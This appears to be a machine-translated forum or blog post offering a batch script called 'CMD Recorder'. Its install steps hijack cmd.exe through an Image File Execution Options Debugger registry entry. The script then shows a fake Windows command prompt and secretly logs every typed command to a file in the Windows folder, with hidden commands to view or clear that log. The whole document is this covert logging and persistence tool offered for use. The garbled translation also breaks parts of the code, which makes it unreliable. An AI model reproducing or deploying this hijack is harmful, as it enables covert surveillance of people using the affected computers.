Install to save the code as Cmd.bat place system32 cmd.exe copy as Cmd.gif
Registry add
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe
String Debugger
String Content cmd.gif/c Cmd.bat
Copy Code code as follows:
@echo off
Title%comspec%
REM CMD Recorder Improved version
REM Original author Superjj (probably a vest!) )
Address of the REM original: https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html
REM is improved by my allyesno (I am not a vest!) )
REM Fault-tolerant code is not improved, some details are added themselves!
Setlocal enabledelayedexpansion
echo Microsoft Windows XP [version 5.1.2600]
Echo (C) Copyright 1985-2001 Microsoft Corp.
Echo.
FOR/L%%i in (0,0,0) do (
set/p strcmd=%cd%^>
If "!strcmd!" = = "WhoAmI" Echo Allyesno&set strcmd=
If "!strcmd!" = = "Log" type%windir%history.txt&set strcmd=
If "!strcmd!" = = "Logclear" del%windir%history.txt&set strcmd=
for/f "delims="%%i in ("!strcmd!") do echo%%i >>%windir%history.txt
!strcmd!
Echo.